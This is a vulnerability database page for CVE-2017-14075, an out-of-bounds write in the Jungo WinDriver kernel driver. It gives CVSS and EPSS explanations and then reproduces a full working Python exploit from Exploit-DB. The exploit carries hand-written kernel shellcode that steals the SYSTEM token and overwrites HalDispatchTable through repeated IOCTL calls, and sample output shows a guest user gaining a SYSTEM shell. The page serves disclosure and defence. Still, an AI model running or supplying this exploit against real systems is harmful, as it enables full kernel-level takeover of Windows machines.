CVE-2017-14075 : Detail

CVE-2017-14075

7.8
/
High
Overflow
0.21%V4
Local
2017-09-11
15h00 +00:00
2017-09-11
14h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

This vulnerability allows local attackers to escalate privileges on Jungo WinDriver 12.4.0 and earlier. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaw exists within the processing of IOCTL 0x953824a7 by the windrvr1240 kernel driver. The issue lies in the failure to properly validate user-supplied data which can result in an out-of-bounds write condition. An attacker can leverage this vulnerability to execute arbitrary code under the context of kernel.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-787 Out-of-bounds Write
The product writes data past the end, or before the beginning, of the intended buffer.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.8 HIGH CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

nvd@nist.gov
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 42625

Publication date : 2017-09-05 22h00 +00:00
Author : mr_me
EDB Verified : Yes

# -*- coding: utf-8 -*- """ Jungo DriverWizard WinDriver Kernel Out-of-Bounds Write Privilege Escalation Vulnerability Download: http://www.jungo.com/st/products/windriver/ File: WD1240.EXE Sha1: 3527cc974ec885166f0d96f6aedc8e542bb66cba Driver: windrvr1240.sys Sha1: 0f212075d86ef7e859c1941f8e5b9e7a6f2558ad CVE: CVE-2017-14075 Author: Steven Seeley (mr_me) of Source Incite Affected: <= v12.4.0 Thanks: b33f and sickness Summary: ======== This vulnerability allows local attackers to escalate privileges on vulnerable installations of Jungo WinDriver. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaw exists within the processing of IOCTL 0x953824a7 by the windrvr1240 kernel driver. The issue lies in the failure to properly validate user-supplied data which can result in an out-of-bounds write condition. An attacker can leverage this vulnerability to execute arbitrary code under the context of kernel. Vulnerability: ============== The vulnerability occurs in sub_405644 at loc_4056CD: .text:004056CD loc_4056CD: ; CODE XREF: sub_405644+6A .text:004056CD mov eax, [ebx] .text:004056CF xor edx, edx .text:004056D1 mov byte ptr [edi+eax], 0 ; null byte write .text:004056D5 mov eax, P .text:004056DA add [eax+880h], edi ; offset HalDispatchTable[1]+0x880 is null and writable Exploitation: ============= At 0x004056da there is a second write, but since HalDispatchTable[1]+0x880 points to a null dword that is in a writable location, no memory is modified outside of out null byte write (0x004056d1). Since we can do that, we can keep calling the vuln ioctl code and push down the kernel pointer from HalDispatchTable[1] to reach userland. We could have just done 2 bytes, but I choose 3 for reliability. Finally, the shellcode repairs the HalDispatchTable[1] pointer by reading HalDispatchTable[2] and calculating the offset to the HalDispatchTable[1] pointer and then re-writes the correct pointer back into the HalDispatchTable. Timeline: ========= 2017-08-22 – Verified and sent to Jungo via sales@/first@/security@/info@jungo.com 2017-08-25 – No response from Jungo and two bounced emails 2017-08-26 – Attempted a follow up with the vendor via website chat 2017-08-26 – No response via the website chat 2017-09-03 – Recieved an email from a Jungo representative stating that they are "looking into it" 2017-09-03 – Requested a timeframe for patch development and warned of possible 0day release 2017-09-06 – No response from Jungo 2017-09-06 – Public 0day release of advisory Example: ======== C:\Users\Guest\Desktop>icacls poc.py poc.py NT AUTHORITY\Authenticated Users:(I)(F) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Users:(I)(F) Mandatory Label\Low Mandatory Level:(I)(NW) Successfully processed 1 files; Failed processing 0 files C:\Users\Guest\Desktop>whoami debugee\guest C:\Users\Guest\Desktop>poc.py --[ Jungo DriverWizard WinDriver Kernel Pool Overflow EoP exploit ] Steven Seeley (mr_me) of Source Incite (+) spraying pool with mixed objects... (+) sprayed the pool! (+) making pool holes... (+) made the pool holes! (+) allocating shellcode... (+) allocated the shellcode! (+) triggering pool overflow... (+) allocating pool overflow input buffer (+) elevating privileges! Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users\Guest\Desktop>whoami nt authority\system C:\Users\Guest\Desktop> """ import os import sys import struct from ctypes import * from ctypes.wintypes import * from platform import release, architecture kernel32 = windll.kernel32 ntdll = windll.ntdll # GLOBAL VARIABLES MEM_COMMIT = 0x00001000 MEM_RESERVE = 0x00002000 PAGE_EXECUTE_READWRITE = 0x00000040 STATUS_SUCCESS = 0 class SYSTEM_MODULE_INFORMATION(Structure): _fields_ = [("Reserved", c_void_p * 3), # this has an extra c_void_p because the first 4 bytes = number of return entries. ("ImageBase", c_void_p), # it's not actually part of the structure, but we are aligning it. ("ImageSize", c_ulong), ("Flags", c_ulong), ("LoadOrderIndex", c_ushort), ("InitOrderIndex", c_ushort), ("LoadCount", c_ushort), ("ModuleNameOffset", c_ushort), ("FullPathName", c_char * 256)] def alloc_shellcode(base, input_size, HalDispatchTable1): """ allocates some shellcode """ print "(+) allocating shellcode @ 0x%x" % base baseadd = c_int(base) size = c_int(input_size) # get the repair address HalDispatchTable2 = struct.pack("<I", HalDispatchTable1+0x4) # --[ setup] input = "\x60" # pushad input += "\x64\xA1\x24\x01\x00\x00" # mov eax, fs:[KTHREAD_OFFSET] input += "\x8B\x40\x50" # mov eax, [eax + EPROCESS_OFFSET] input += "\x89\xC1" # mov ecx, eax (Current _EPROCESS structure) input += "\x8B\x98\xF8\x00\x00\x00" # mov ebx, [eax + TOKEN_OFFSET] # --[ copy system PID token] input += "\xBA\x04\x00\x00\x00" # mov edx, 4 (SYSTEM PID) input += "\x8B\x80\xB8\x00\x00\x00" # mov eax, [eax + FLINK_OFFSET] <-| input += "\x2d\xB8\x00\x00\x00" # sub eax, FLINK_OFFSET | input += "\x39\x90\xB4\x00\x00\x00" # cmp [eax + PID_OFFSET], edx | input += "\x75\xed" # jnz ->| input += "\x8B\x90\xF8\x00\x00\x00" # mov edx, [eax + TOKEN_OFFSET] input += "\x89\x91\xF8\x00\x00\x00" # mov [ecx + TOKEN_OFFSET], edx # --[ recover] input += "\xbe" + HalDispatchTable2 # mov esi, HalDispatchTable[2] input += "\x8b\x16" # mov edx, [esi] input += "\x81\xea\x12\x09\x00\x00" # sub edx, 0x912 input += "\x83\xee\x04" # sub esi, 0x4 input += "\x89\x16" # mov [esi], edx input += "\x61" # popad input += "\xC3" # ret input += "\xcc" * (input_size-len(input)) ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong, POINTER(c_int), c_int, c_int] dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff, byref(baseadd), 0x0, byref(size), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE) if dwStatus != STATUS_SUCCESS: print "(-) Error while allocating memory: %s" % hex(dwStatus + 0xffffffff) return False written = c_ulong() write = kernel32.WriteProcessMemory(0xffffffff, base, input, len(input), byref(written)) if write == 0: print "(-) Error while writing our input buffer memory: %s" % write return False return True def alloc(base, input_size): """ Just allocates things. """ baseadd = c_int(base) size = c_int(input_size) ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong, POINTER(c_int), c_int, c_int] dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff, byref(baseadd), 0x0, byref(size), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE) if dwStatus != STATUS_SUCCESS: print "(-) Error while allocating memory: %s" % hex(dwStatus + 0xffffffff) return False return True def mymemset(base, location, size): """ A cheap memset ¯\_(ツ)_/¯ """ input = location * (size/len(location)) written = c_ulong() write = kernel32.WriteProcessMemory(0xFFFFFFFF, base, input, len(input), byref(written)) if write == 0: print "(-) Error while writing our input buffer memory: %s" % write return False return True def get_HALDispatchTable_kernel_address(): """ This function gets the HALDispatchTable's kernel address """ # allocate arbitrary buffer and call NtQuerySystemInformation b = create_string_buffer(0) systeminformationlength = c_ulong(0) res = ntdll.NtQuerySystemInformation(11, b, len(b), byref(systeminformationlength)) # call NtQuerySystemInformation second time with right size b = create_string_buffer(systeminformationlength.value) res = ntdll.NtQuerySystemInformation(11, b, len(b), byref(systeminformationlength)) # marshal raw bytes for 1st entry smi = SYSTEM_MODULE_INFORMATION() memmove(addressof(smi), b, sizeof(smi)) # get kernel image name kernelImage = smi.FullPathName.split('\\')[-1] print "(+) found %s kernel base address: 0x%x" % (kernelImage, smi.ImageBase) # load kernel image in userland and get HAL Dispatch Table offset hKernelImage = kernel32.LoadLibraryA(kernelImage) print "(+) loading %s in userland" % kernelImage print "(+) found %s Userland Base Address : 0x%x" % (kernelImage, hKernelImage) hdt_user_address = kernel32.GetProcAddress(hKernelImage,"HalDispatchTable") print "(+) found HalDispatchTable userland base address: 0x%x" % hdt_user_address # calculate HAL Dispatch Table offset in kernel land hdt_kernel_address = smi.ImageBase + ( hdt_user_address - hKernelImage) print "(+) found HalDispatchTable kernel base address: 0x%x" % hdt_kernel_address return hdt_kernel_address def write_one_null_byte(HWD, in_buffer, location): """ The primitive function """ mymemset(in_buffer, location, 0x1000) if HWD: IoStatusBlock = c_ulong() dev_ioctl = ntdll.ZwDeviceIoControlFile(HWD, None, None, None, byref(IoStatusBlock), 0x953824a7, # target in_buffer, # special buffer 0x1000, # just the size to trigger with 0x20000000, # whateva 0x1000 # whateva ) # we could check dev_ioctl here I guess return True return False def we_can_elevate(h, in_buffer, base): """ This just performs the writes... """ # get location of first byte write where2write = struct.pack("<I", base + 0x3) print "(+) triggering the first null byte write..." if write_one_null_byte(h, in_buffer, where2write): # get the location of the second byte write where2write = struct.pack("<I", base + 0x2) print "(+) triggering the second null byte write..." if write_one_null_byte(h, in_buffer, where2write): # get the location of the third byte write where2write = struct.pack("<I", base + 0x1) print "(+) triggering the third null byte write..." if write_one_null_byte(h, in_buffer, where2write): # eop print "(+) calling NtQueryIntervalProfile to elevate" arb = c_ulong(0) ntdll.NtQueryIntervalProfile(0x1337, byref(arb)) return True return False def main(): print "\n\t--[ Jungo DriverWizard WinDriver Kernel Write EoP exploit ]" print "\t Steven Seeley (mr_me) of Source Incite\r\n" if release() != "7" and architecture()[0] == "32bit": print "(-) this exploit will only work for Windows 7 x86." print " patch the shellcode for other windows versions." sys.exit(-1) print "(+) attacking target WinDrvr1240" GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 0x3 DEVICE_NAME = "\\\\.\\WinDrvr1240" dwReturn = c_ulong() h = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None) # get the second HalDispatchTable entry[0] base = get_HALDispatchTable_kernel_address() + 0x4 # create some shellcode that patches the HalDispatchTable[1] if not alloc_shellcode(0x000000a2, 0x1000, base): print "(-) cannot allocate shellcode" sys.exit(-1) # alloc some memory in_buffer = 0x41414141 in_size = 0x1000 if not alloc(in_buffer, 0x1000): print "(-) cannot allocate target buffer" sys.exit(-1) if we_can_elevate(h, in_buffer, base): os.system('cmd.exe') else: print "(-) exploit failed!" if __name__ == '__main__': main()

Products Mentioned

Configuraton 0

Jungo>>Windriver >> Version To (including) 12.5.1

References

https://www.exploit-db.com/exploits/42625/
Tags : exploit, x_refsource_EXPLOIT-DB